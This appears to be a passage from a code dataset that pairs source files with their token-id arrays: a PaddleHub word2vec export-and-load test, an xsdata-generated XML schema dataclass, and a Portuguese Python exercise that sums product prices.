1904,
29918,
978,
29892,
4742,
29892,
9853,
29918,
2311,
29922,
29896,
1125,
13,
4706,
4794,
305,
5841,
355,
17255,
2344,
12035,
1311,
29892,
4742,
29922,
10141,
29897,
13,
4706,
405,
1001,
17255,
2344,
12035,
1311,
29892,
9853,
29918,
2311,
29922,
16175,
29918,
2311,
29897,
13,
4706,
1583,
29889,
4299,
29918,
978,
353,
1904,
29918,
978,
13,
4706,
1583,
17255,
978,
1649,
353,
1904,
29918,
978,
13,
4706,
1583,
3032,
4299,
353,
6213,
13,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
1904,
353,
19745,
29898,
1311,
29889,
4299,
29918,
978,
29897,
13,
4706,
1904,
353,
1904,
29898,
10141,
29922,
1311,
29889,
10141,
29897,
13,
4706,
1018,
29901,
13,
9651,
1904,
29889,
1359,
29918,
11618,
580,
13,
4706,
5174,
313,
14697,
291,
2392,
29892,
24875,
2392,
1125,
13,
9651,
1904,
29889,
10382,
29918,
11618,
580,
13,
9651,
1904,
29889,
1359,
29918,
11618,
580,
13,
4706,
1018,
29901,
13,
9651,
302,
1896,
29895,
29889,
1272,
29889,
2886,
877,
6979,
19427,
29914,
19294,
1495,
13,
4706,
5174,
7419,
786,
2392,
29901,
13,
9651,
302,
1896,
29895,
29889,
10382,
877,
19294,
1495,
13,
4706,
1583,
3032,
4299,
353,
1904,
13,
13,
1678,
822,
758,
5014,
29898,
1311,
29892,
10970,
1125,
13,
4706,
5993,
1891,
353,
518,
1742,
29918,
6979,
675,
7373,
726,
29897,
363,
903,
726,
297,
10970,
29962,
13,
4706,
736,
5993,
1891,
13,
13,
1678,
822,
8500,
29898,
1311,
29892,
10970,
1125,
13,
4706,
736,
1583,
3032,
4299,
29889,
27711,
29898,
2080,
29879,
29892,
9853,
29918,
2311,
29922,
1311,
29889,
16175,
29918,
2311,
29897,
13,
13,
13,
2
] |
tests/test_export_n_load_module.py | ZeyuChen/PaddleHub | 0 | 182598 | # Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
from __future__ import division
from __future__ import print_function
import numpy as np
import paddle.fluid as fluid
import paddle
import paddlehub as hub
import unittest
import os
from collections import defaultdict
EMBED_SIZE = 16
HIDDEN_SIZE = 256
N = 5
BATCH_SIZE = 64
PASS_NUM = 1000
word_dict = paddle.dataset.imikolov.build_dict()
dict_size = len(word_dict)
data = paddle.dataset.imikolov.train(word_dict, N)
_MOCK_DATA = [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]
def mock_data():
for d in _MOCK_DATA:
yield d
batch_reader = paddle.batch(mock_data, BATCH_SIZE)
#batch_reader = paddle.batch(data, BATCH_SIZE)
batch_size = 0
for d in batch_reader():
batch_size += 1
def word2vec(words, is_sparse, trainable=True):
emb_param_attr = fluid.ParamAttr(name="embedding", trainable=trainable)
embed_first = fluid.layers.embedding(
input=words[0],
size=[dict_size, EMBED_SIZE],
dtype='float32',
is_sparse=is_sparse,
param_attr=emb_param_attr)
embed_second = fluid.layers.embedding(
input=words[1],
size=[dict_size, EMBED_SIZE],
dtype='float32',
is_sparse=is_sparse,
param_attr=emb_param_attr)
embed_third = fluid.layers.embedding(
input=words[2],
size=[dict_size, EMBED_SIZE],
dtype='float32',
is_sparse=is_sparse,
param_attr=emb_param_attr)
embed_fourth = fluid.layers.embedding(
input=words[3],
size=[dict_size, EMBED_SIZE],
dtype='float32',
is_sparse=is_sparse,
param_attr=emb_param_attr)
concat_emb = fluid.layers.concat(
input=[embed_first, embed_second, embed_third, embed_fourth], axis=1)
hidden1 = fluid.layers.fc(input=concat_emb, size=HIDDEN_SIZE, act='sigmoid')
pred_prob = fluid.layers.fc(input=hidden1, size=dict_size, act='softmax')
# declare later than predict word
next_word = fluid.layers.data(name='nextw', shape=[1], dtype='int64')
cost = fluid.layers.cross_entropy(input=pred_prob, label=next_word)
avg_cost = fluid.layers.mean(cost)
return pred_prob, avg_cost
def get_dictionary(word_dict):
dictionary = defaultdict(int)
w_id = 0
for w in word_dict:
if isinstance(w, bytes):
w = w.decode("ascii")
dictionary[w] = w_id
w_id += 1
return dictionary
def test_create_w2v_module(use_gpu=False):
place = fluid.CUDAPlace(0) if use_gpu else fluid.CPUPlace()
first_word = fluid.layers.data(name='firstw', shape=[1], dtype='int64')
second_word = fluid.layers.data(name='secondw', shape=[1], dtype='int64')
third_word = fluid.layers.data(name='thirdw', shape=[1], dtype='int64')
forth_word = fluid.layers.data(name='fourthw', shape=[1], dtype='int64')
next_word = fluid.layers.data(name='nextw', shape=[1], dtype='int64')
word_list = [first_word, second_word, third_word, forth_word, next_word]
pred_prob, avg_cost = word2vec(word_list, is_sparse=True)
main_program = fluid.default_main_program()
startup_program = fluid.default_startup_program()
sgd_optimizer = fluid.optimizer.SGDOptimizer(learning_rate=1e-2)
sgd_optimizer.minimize(avg_cost)
exe = fluid.Executor(place)
exe.run(startup_program) # initialization
step = 0
for epoch in range(0, PASS_NUM):
for mini_batch in batch_reader():
feed_var_list = [
main_program.global_block().var("firstw"),
main_program.global_block().var("secondw"),
main_program.global_block().var("thirdw"),
main_program.global_block().var("fourthw"),
main_program.global_block().var("nextw")
]
feeder = fluid.DataFeeder(feed_list=feed_var_list, place=place)
cost = exe.run(
main_program,
feed=feeder.feed(mini_batch),
fetch_list=[avg_cost])
step += 1
if step % 100 == 0:
print("Epoch={} Step={} Cost={}".format(epoch, step, cost[0]))
saved_module_dir = "./tmp/word2vec_test_module"
# save inference model including feed and fetch variable info
dictionary = get_dictionary(word_dict)
module_inputs = [
main_program.global_block().var("firstw"),
main_program.global_block().var("secondw"),
main_program.global_block().var("thirdw"),
main_program.global_block().var("fourthw"),
]
signature = hub.create_signature(
"default",
inputs=module_inputs,
outputs=[pred_prob],
feed_names=["firstw", "secondw", "thirdw", "fourthw"],
fetch_names=["pred_prob"])
hub.create_module(
sign_arr=signature, module_dir=saved_module_dir, word_dict=dictionary)
def test_load_w2v_module(use_gpu=False):
saved_module_dir = "./tmp/word2vec_test_module"
w2v_module = hub.Module(module_dir=saved_module_dir)
feed_dict, fetch_dict, program = w2v_module(
sign_name="default", trainable=False)
with fluid.program_guard(main_program=program):
pred_prob = fetch_dict["pred_prob"]
pred_word = fluid.layers.argmax(x=pred_prob, axis=1)
# set place, executor, datafeeder
place = fluid.CUDAPlace(0) if use_gpu else fluid.CPUPlace()
exe = fluid.Executor(place)
feed_vars = [
feed_dict["firstw"], feed_dict["secondw"], feed_dict["thirdw"],
feed_dict["fourthw"]
]
feeder = fluid.DataFeeder(place=place, feed_list=feed_vars)
word_ids = [[1, 2, 3, 4]]
result = exe.run(
fluid.default_main_program(),
feed=feeder.feed(word_ids),
fetch_list=[pred_word],
return_numpy=True)
print(result)
if __name__ == "__main__":
use_gpu = False
print("test create word2vec module")
test_create_w2v_module(use_gpu)
print("test load word2vec module")
test_load_w2v_module(use_gpu=False)
| [
1,
396,
259,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29929,
29871,
349,
22352,
29925,
22352,
13189,
943,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
29908,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8542,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
282,
22352,
29889,
1579,
5416,
408,
22576,
13,
5215,
282,
22352,
13,
5215,
282,
22352,
29882,
431,
408,
19766,
13,
5215,
443,
27958,
13,
5215,
2897,
13,
13,
3166,
16250,
1053,
2322,
8977,
13,
13,
29923,
9486,
3352,
29918,
14226,
353,
29871,
29896,
29953,
13,
29950,
1367,
29928,
1430,
29918,
14226,
353,
29871,
29906,
29945,
29953,
13,
29940,
353,
29871,
29945,
13,
29933,
14789,
29918,
14226,
353,
29871,
29953,
29946,
13,
25711,
29918,
13967,
353,
29871,
29896,
29900,
29900,
29900,
13,
13,
1742,
29918,
8977,
353,
282,
22352,
29889,
24713,
29889,
326,
638,
324,
586,
29889,
4282,
29918,
8977,
580,
13,
8977,
29918,
2311,
353,
7431,
29898,
1742,
29918,
8977,
29897,
13,
1272,
353,
282,
22352,
29889,
24713,
29889,
326,
638,
324,
586,
29889,
14968,
29898,
1742,
29918,
8977,
29892,
405,
29897,
13,
13,
29918,
6720,
7077,
29918,
14573,
353,
5519,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
1402,
518,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
5262,
13,
13,
13,
1753,
11187,
29918,
1272,
7295,
13,
1678,
363,
270,
297,
903,
6720,
7077,
29918,
14573,
29901,
13,
4706,
7709,
270,
13,
13,
13,
16175,
29918,
16950,
353,
282,
22352,
29889,
16175,
29898,
17640,
29918,
1272,
29892,
350,
14789,
29918,
14226,
29897,
13,
29937,
16175,
29918,
16950,
353,
282,
22352,
29889,
16175,
29898,
1272,
29892,
350,
14789,
29918,
14226,
29897,
13,
16175,
29918,
2311,
353,
29871,
29900,
13,
1454,
270,
297,
9853,
29918,
16950,
7295,
13,
1678,
9853,
29918,
2311,
4619,
29871,
29896,
13,
13,
13,
1753,
1734,
29906,
2003,
29898,
9303,
29892,
338,
29918,
29879,
5510,
29892,
7945,
519,
29922,
5574,
1125,
13,
1678,
7232,
29918,
3207,
29918,
5552,
353,
22576,
29889,
4736,
25098,
29898,
978,
543,
17987,
8497,
613,
7945,
519,
29922,
14968,
519,
29897,
13,
1678,
8297,
29918,
4102,
353,
22576,
29889,
29277,
29889,
17987,
8497,
29898,
13,
4706,
1881,
29922,
9303,
29961,
29900,
1402,
13,
4706,
2159,
11759,
8977,
29918,
2311,
29892,
382,
9486,
3352,
29918,
14226,
1402,
13,
4706,
26688,
2433,
7411,
29941,
29906,
742,
13,
4706,
338,
29918,
29879,
5510,
29922,
275,
29918,
29879,
5510,
29892,
13,
4706,
1828,
29918,
5552,
29922,
1590,
29918,
3207,
29918,
5552,
29897,
13,
1678,
8297,
29918,
7496,
353,
22576,
29889,
29277,
29889,
17987,
8497,
29898,
13,
4706,
1881,
29922,
9303,
29961,
29896,
1402,
13,
4706,
2159,
11759,
8977,
29918,
2311,
29892,
382,
9486,
3352,
29918,
14226,
1402,
13,
4706,
26688,
2433,
7411,
29941,
29906,
742,
13,
4706,
338,
29918,
29879,
5510,
29922,
275,
29918,
29879,
5510,
29892,
13,
4706,
1828,
29918,
5552,
29922,
1590,
29918,
3207,
29918,
5552,
29897,
13,
1678,
8297,
29918,
22585,
353,
22576,
29889,
29277,
29889,
17987,
8497,
29898,
13,
4706,
1881,
29922,
9303,
29961,
29906,
1402,
13,
4706,
2159,
11759,
8977,
29918,
2311,
29892,
382,
9486,
3352,
29918,
14226,
1402,
13,
4706,
26688,
2433,
7411,
29941,
29906,
742,
13,
4706,
338,
29918,
29879,
5510,
29922,
275,
29918,
29879,
5510,
29892,
13,
4706,
1828,
29918,
5552,
29922,
1590,
29918,
3207,
29918,
5552,
29897,
13,
1678,
8297,
29918,
17823,
386,
353,
22576,
29889,
29277,
29889,
17987,
8497,
29898,
13,
4706,
1881,
29922,
9303,
29961,
29941,
1402,
13,
4706,
2159,
11759,
8977,
29918,
2311,
29892,
382,
9486,
3352,
29918,
14226,
1402,
13,
4706,
26688,
2433,
7411,
29941,
29906,
742,
13,
4706,
338,
29918,
29879,
5510,
29922,
275,
29918,
29879,
5510,
29892,
13,
4706,
1828,
29918,
5552,
29922,
1590,
29918,
3207,
29918,
5552,
29897,
13,
13,
1678,
3022,
271,
29918,
1590,
353,
22576,
29889,
29277,
29889,
17685,
29898,
13,
4706,
1881,
11759,
17987,
29918,
4102,
29892,
8297,
29918,
7496,
29892,
8297,
29918,
22585,
29892,
8297,
29918,
17823,
386,
1402,
9685,
29922,
29896,
29897,
13,
1678,
7934,
29896,
353,
22576,
29889,
29277,
29889,
13801,
29898,
2080,
29922,
17685,
29918,
1590,
29892,
2159,
29922,
29950,
1367,
29928,
1430,
29918,
14226,
29892,
1044,
2433,
18816,
29885,
3398,
1495,
13,
1678,
4450,
29918,
22795,
353,
22576,
29889,
29277,
29889,
13801,
29898,
2080,
29922,
10892,
29896,
29892,
2159,
29922,
8977,
29918,
2311,
29892,
1044,
2433,
2695,
3317,
1495,
13,
13,
1678,
396,
9607,
2678,
1135,
8500,
1734,
13,
1678,
2446,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1272,
29898,
978,
2433,
4622,
29893,
742,
8267,
11759,
29896,
1402,
26688,
2433,
524,
29953,
29946,
1495,
13,
13,
1678,
3438,
353,
22576,
29889,
29277,
29889,
19128,
29918,
296,
14441,
29898,
2080,
29922,
11965,
29918,
22795,
29892,
3858,
29922,
4622,
29918,
1742,
29897,
13,
1678,
1029,
29887,
29918,
18253,
353,
22576,
29889,
29277,
29889,
12676,
29898,
18253,
29897,
13,
13,
1678,
736,
4450,
29918,
22795,
29892,
1029,
29887,
29918,
18253,
13,
13,
13,
1753,
679,
29918,
27126,
29898,
1742,
29918,
8977,
1125,
13,
1678,
8600,
353,
2322,
8977,
29898,
524,
29897,
13,
1678,
281,
29918,
333,
353,
29871,
29900,
13,
1678,
363,
281,
297,
1734,
29918,
8977,
29901,
13,
4706,
565,
338,
8758,
29898,
29893,
29892,
6262,
1125,
13,
9651,
281,
353,
281,
29889,
13808,
703,
294,
18869,
1159,
13,
4706,
8600,
29961,
29893,
29962,
353,
281,
29918,
333,
13,
4706,
281,
29918,
333,
4619,
29871,
29896,
13,
13,
1678,
736,
8600,
13,
13,
13,
1753,
1243,
29918,
3258,
29918,
29893,
29906,
29894,
29918,
5453,
29898,
1509,
29918,
29887,
3746,
29922,
8824,
1125,
13,
1678,
2058,
353,
22576,
29889,
29907,
15789,
3301,
1265,
29898,
29900,
29897,
565,
671,
29918,
29887,
3746,
1683,
22576,
29889,
6271,
4897,
1265,
580,
13,
13,
1678,
937,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1272,
29898,
978,
2433,
4102,
29893,
742,
8267,
11759,
29896,
1402,
26688,
2433,
524,
29953,
29946,
1495,
13,
1678,
1473,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1272,
29898,
978,
2433,
7496,
29893,
742,
8267,
11759,
29896,
1402,
26688,
2433,
524,
29953,
29946,
1495,
13,
1678,
4654,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1272,
29898,
978,
2433,
22585,
29893,
742,
8267,
11759,
29896,
1402,
26688,
2433,
524,
29953,
29946,
1495,
13,
1678,
11483,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1272,
29898,
978,
2433,
17823,
386,
29893,
742,
8267,
11759,
29896,
1402,
26688,
2433,
524,
29953,
29946,
1495,
13,
1678,
2446,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1272,
29898,
978,
2433,
4622,
29893,
742,
8267,
11759,
29896,
1402,
26688,
2433,
524,
29953,
29946,
1495,
13,
13,
1678,
1734,
29918,
1761,
353,
518,
4102,
29918,
1742,
29892,
1473,
29918,
1742,
29892,
4654,
29918,
1742,
29892,
11483,
29918,
1742,
29892,
2446,
29918,
1742,
29962,
13,
1678,
4450,
29918,
22795,
29892,
1029,
29887,
29918,
18253,
353,
1734,
29906,
2003,
29898,
1742,
29918,
1761,
29892,
338,
29918,
29879,
5510,
29922,
5574,
29897,
13,
13,
1678,
1667,
29918,
8860,
353,
22576,
29889,
4381,
29918,
3396,
29918,
8860,
580,
13,
1678,
20234,
29918,
8860,
353,
22576,
29889,
4381,
29918,
2962,
786,
29918,
8860,
580,
13,
13,
1678,
269,
29887,
29881,
29918,
20640,
3950,
353,
22576,
29889,
20640,
3950,
29889,
26016,
3970,
415,
326,
3950,
29898,
21891,
29918,
10492,
29922,
29896,
29872,
29899,
29906,
29897,
13,
13,
1678,
269,
29887,
29881,
29918,
20640,
3950,
29889,
1195,
326,
675,
29898,
485,
29887,
29918,
18253,
29897,
13,
1678,
429,
29872,
353,
22576,
29889,
13366,
29898,
6689,
29897,
13,
1678,
429,
29872,
29889,
3389,
29898,
2962,
786,
29918,
8860,
29897,
29871,
396,
17865,
13,
13,
1678,
4331,
353,
29871,
29900,
13,
1678,
363,
21502,
305,
297,
3464,
29898,
29900,
29892,
17687,
1799,
29918,
13967,
1125,
13,
4706,
363,
20629,
29918,
16175,
297,
9853,
29918,
16950,
7295,
13,
9651,
8343,
29918,
1707,
29918,
1761,
353,
518,
13,
18884,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
4102,
29893,
4968,
13,
18884,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
7496,
29893,
4968,
13,
18884,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
22585,
29893,
4968,
13,
18884,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
17823,
386,
29893,
4968,
13,
18884,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
4622,
29893,
1159,
13,
9651,
4514,
13,
9651,
1238,
2447,
353,
22576,
29889,
1469,
8263,
2447,
29898,
18798,
29918,
1761,
29922,
18798,
29918,
1707,
29918,
1761,
29892,
2058,
29922,
6689,
29897,
13,
9651,
3438,
353,
429,
29872,
29889,
3389,
29898,
13,
18884,
1667,
29918,
8860,
29892,
13,
18884,
8343,
29922,
1725,
2447,
29889,
18798,
29898,
1195,
29875,
29918,
16175,
511,
13,
18884,
6699,
29918,
1761,
11759,
485,
29887,
29918,
18253,
2314,
13,
9651,
4331,
4619,
29871,
29896,
13,
9651,
565,
4331,
1273,
29871,
29896,
29900,
29900,
1275,
29871,
29900,
29901,
13,
18884,
1596,
703,
29923,
1129,
305,
3790,
29913,
16696,
3790,
29913,
9839,
3790,
29913,
1642,
4830,
29898,
1022,
2878,
29892,
4331,
29892,
3438,
29961,
29900,
12622,
13,
13,
1678,
7160,
29918,
5453,
29918,
3972,
353,
376,
6904,
7050,
29914,
1742,
29906,
2003,
29918,
1688,
29918,
5453,
29908,
13,
1678,
396,
4078,
27262,
1904,
3704,
8343,
322,
6699,
2286,
5235,
13,
1678,
8600,
353,
679,
29918,
27126,
29898,
1742,
29918,
8977,
29897,
13,
13,
1678,
3883,
29918,
2080,
29879,
353,
518,
13,
4706,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
4102,
29893,
4968,
13,
4706,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
7496,
29893,
4968,
13,
4706,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
22585,
29893,
4968,
13,
4706,
1667,
29918,
8860,
29889,
10945,
29918,
1271,
2141,
1707,
703,
17823,
386,
29893,
4968,
13,
1678,
4514,
13,
1678,
12608,
353,
19766,
29889,
3258,
29918,
4530,
1535,
29898,
13,
4706,
376,
4381,
613,
13,
4706,
10970,
29922,
5453,
29918,
2080,
29879,
29892,
13,
4706,
14391,
11759,
11965,
29918,
22795,
1402,
13,
4706,
8343,
29918,
7039,
29922,
3366,
4102,
29893,
613,
376,
7496,
29893,
613,
376,
22585,
29893,
613,
376,
17823,
386,
29893,
12436,
13,
4706,
6699,
29918,
7039,
29922,
3366,
11965,
29918,
22795,
20068,
13,
1678,
19766,
29889,
3258,
29918,
5453,
29898,
13,
4706,
1804,
29918,
2749,
29922,
4530,
1535,
29892,
3883,
29918,
3972,
29922,
17314,
29918,
5453,
29918,
3972,
29892,
1734,
29918,
8977,
29922,
27126,
29897,
13,
13,
13,
1753,
1243,
29918,
1359,
29918,
29893,
29906,
29894,
29918,
5453,
29898,
1509,
29918,
29887,
3746,
29922,
8824,
1125,
13,
1678,
7160,
29918,
5453,
29918,
3972,
353,
376,
6904,
7050,
29914,
1742,
29906,
2003,
29918,
1688,
29918,
5453,
29908,
13,
1678,
281,
29906,
29894,
29918,
5453,
353,
19766,
29889,
7355,
29898,
5453,
29918,
3972,
29922,
17314,
29918,
5453,
29918,
3972,
29897,
13,
1678,
8343,
29918,
8977,
29892,
6699,
29918,
8977,
29892,
1824,
353,
281,
29906,
29894,
29918,
5453,
29898,
13,
4706,
1804,
29918,
978,
543,
4381,
613,
7945,
519,
29922,
8824,
29897,
13,
1678,
411,
22576,
29889,
8860,
29918,
17728,
29898,
3396,
29918,
8860,
29922,
8860,
1125,
13,
4706,
4450,
29918,
22795,
353,
6699,
29918,
8977,
3366,
11965,
29918,
22795,
3108,
13,
4706,
4450,
29918,
1742,
353,
22576,
29889,
29277,
29889,
1191,
3317,
29898,
29916,
29922,
11965,
29918,
22795,
29892,
9685,
29922,
29896,
29897,
13,
4706,
396,
731,
2058,
29892,
2279,
3406,
29892,
848,
1725,
2447,
13,
4706,
2058,
353,
22576,
29889,
29907,
15789,
3301,
1265,
29898,
29900,
29897,
565,
671,
29918,
29887,
3746,
1683,
22576,
29889,
6271,
4897,
1265,
580,
13,
4706,
429,
29872,
353,
22576,
29889,
13366,
29898,
6689,
29897,
13,
4706,
8343,
29918,
16908,
353,
518,
13,
9651,
8343,
29918,
8977,
3366,
4102,
29893,
12436,
8343,
29918,
8977,
3366,
7496,
29893,
12436,
8343,
29918,
8977,
3366,
22585,
29893,
12436,
13,
9651,
8343,
29918,
8977,
3366,
17823,
386,
29893,
3108,
13,
4706,
4514,
13,
4706,
1238,
2447,
353,
22576,
29889,
1469,
8263,
2447,
29898,
6689,
29922,
6689,
29892,
8343,
29918,
1761,
29922,
18798,
29918,
16908,
29897,
13,
13,
4706,
1734,
29918,
4841,
353,
5519,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
5262,
13,
4706,
1121,
353,
429,
29872,
29889,
3389,
29898,
13,
9651,
22576,
29889,
4381,
29918,
3396,
29918,
8860,
3285,
13,
9651,
8343,
29922,
1725,
2447,
29889,
18798,
29898,
1742,
29918,
4841,
511,
13,
9651,
6699,
29918,
1761,
11759,
11965,
29918,
1742,
1402,
13,
9651,
736,
29918,
23749,
29922,
5574,
29897,
13,
13,
4706,
1596,
29898,
2914,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
671,
29918,
29887,
3746,
353,
7700,
13,
1678,
1596,
703,
1688,
1653,
1734,
29906,
2003,
3883,
1159,
13,
1678,
1243,
29918,
3258,
29918,
29893,
29906,
29894,
29918,
5453,
29898,
1509,
29918,
29887,
3746,
29897,
13,
1678,
1596,
703,
1688,
2254,
1734,
29906,
2003,
3883,
1159,
13,
1678,
1243,
29918,
1359,
29918,
29893,
29906,
29894,
29918,
5453,
29898,
1509,
29918,
29887,
3746,
29922,
8824,
29897,
13,
2
] |
output/models/ibm_data/mixed/assertions/test15_xsd/test15.py | tefra/xsdata-w3c-tests | 1 | 109730 | from dataclasses import dataclass, field
from typing import List, Optional
@dataclass
class XType:
class Meta:
name = "x_Type"
value: Optional[int] = field(
default=None,
metadata={
"required": True,
}
)
a: Optional[str] = field(
default=None,
metadata={
"type": "Attribute",
"required": True,
"max_length": 20,
"pattern": r"val[1-9][0-9]*",
}
)
@dataclass
class Example:
x: List[XType] = field(
default_factory=list,
metadata={
"type": "Element",
"namespace": "",
"min_occurs": 1,
}
)
x_count: Optional[int] = field(
default=None,
metadata={
"type": "Attribute",
"required": True,
}
)
| [
1,
515,
848,
13203,
1053,
848,
1990,
29892,
1746,
13,
3166,
19229,
1053,
2391,
29892,
28379,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
1060,
1542,
29901,
13,
1678,
770,
20553,
29901,
13,
4706,
1024,
353,
376,
29916,
29918,
1542,
29908,
13,
13,
1678,
995,
29901,
28379,
29961,
524,
29962,
353,
1746,
29898,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
15562,
3790,
13,
9651,
376,
12403,
1115,
5852,
29892,
13,
4706,
500,
13,
1678,
1723,
13,
1678,
263,
29901,
28379,
29961,
710,
29962,
353,
1746,
29898,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
15562,
3790,
13,
9651,
376,
1853,
1115,
376,
6708,
613,
13,
9651,
376,
12403,
1115,
5852,
29892,
13,
9651,
376,
3317,
29918,
2848,
1115,
29871,
29906,
29900,
29892,
13,
9651,
376,
11037,
1115,
364,
29908,
791,
29961,
29896,
29899,
29929,
3816,
29900,
29899,
29929,
14178,
613,
13,
4706,
500,
13,
1678,
1723,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
8741,
29901,
13,
1678,
921,
29901,
2391,
29961,
29990,
1542,
29962,
353,
1746,
29898,
13,
4706,
2322,
29918,
14399,
29922,
1761,
29892,
13,
4706,
15562,
3790,
13,
9651,
376,
1853,
1115,
376,
2642,
613,
13,
9651,
376,
22377,
1115,
12633,
13,
9651,
376,
1195,
29918,
15693,
1295,
1115,
29871,
29896,
29892,
13,
4706,
500,
13,
1678,
1723,
13,
1678,
921,
29918,
2798,
29901,
28379,
29961,
524,
29962,
353,
1746,
29898,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
15562,
3790,
13,
9651,
376,
1853,
1115,
376,
6708,
613,
13,
9651,
376,
12403,
1115,
5852,
29892,
13,
4706,
500,
13,
1678,
1723,
13,
2
] |
download codigo fontes/PythonExercicios/ex070.py | tidesjunior2018/Exercicios-da-linguagem-pyhton | 0 | 190261 | <gh_stars>0
'''
70-Crie um programa que leia o nome e o preço de vários produtos.O programa deverá perguntar se o usuário quer continuar.No final mostre:
A)Qual o total gasto na compra.
B)Quantos produtos custam mais de R$1000,00.
C)Qual é o nome do produto mais barato.
'''
totalcompras=contproduto=menor=contador=0
nomemaisbarato=''
print('{:-^70}'.format('<NAME>'))
print('\n')
while True:
print('{:*^20}'.format('PRODUTO'))
produto=str(input('Nome:'))
preco=float(input('Preço:R$'))
contador+=1
print('*' * 20)
totalcompras+=preco
if totalcompras > 1000:
contproduto+=1
if contador == 1:
menor=preco
nomemaisbarato=produto
elif preco < menor:
menor=preco
nomemaisbarato=produto
resp=' '
while resp not in 'SN':
resp=str(input('Quer Continuar[S/N]:')).strip().upper()[0]
if resp == 'N':
break
print('{:-^70}'.format('FIM DO PROGRAMA'))
print('*'*66)
print(f'*TOTAL = R$ {totalcompras:.2f} *')
print(f'*Existem {contproduto} que passa R$ 1000.00 *')
print(f'*O nome do produto mais barato foi {nomemaisbarato} que custa R$ {menor:.2f} *')
print('*'*66)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
12008,
13,
29955,
29900,
29899,
29907,
2546,
1922,
16914,
712,
454,
423,
288,
9235,
321,
288,
758,
6102,
316,
9366,
13095,
11859,
20864,
29889,
29949,
16914,
316,
369,
29976,
639,
29887,
1657,
279,
409,
288,
502,
29884,
12288,
22320,
3133,
279,
29889,
3782,
2186,
1556,
276,
29901,
13,
29909,
29897,
24399,
288,
3001,
10489,
517,
1055,
752,
336,
29889,
13,
29933,
29897,
22930,
359,
11859,
20864,
25387,
314,
3503,
316,
390,
29938,
29896,
29900,
29900,
29900,
29892,
29900,
29900,
29889,
13,
29907,
29897,
24399,
904,
288,
9235,
437,
11859,
3066,
3503,
2594,
1219,
29889,
13,
12008,
13,
7827,
510,
558,
294,
29922,
1285,
10633,
3066,
29922,
1527,
272,
29922,
1285,
3136,
29922,
29900,
13,
11522,
331,
1759,
1646,
1219,
2433,
29915,
13,
2158,
877,
29912,
13018,
29985,
29955,
29900,
29913,
4286,
4830,
877,
29966,
5813,
29958,
8785,
13,
2158,
28909,
29876,
1495,
13,
8000,
5852,
29901,
13,
1678,
1596,
877,
25641,
29930,
29985,
29906,
29900,
29913,
4286,
4830,
877,
8618,
29928,
2692,
29949,
8785,
13,
1678,
11859,
3066,
29922,
710,
29898,
2080,
877,
29940,
608,
29901,
8785,
13,
1678,
758,
1111,
29922,
7411,
29898,
2080,
877,
6572,
6102,
29901,
29934,
29938,
8785,
13,
1678,
640,
3136,
23661,
29896,
13,
1678,
1596,
877,
29930,
29915,
334,
29871,
29906,
29900,
29897,
13,
1678,
3001,
510,
558,
294,
23661,
1457,
1111,
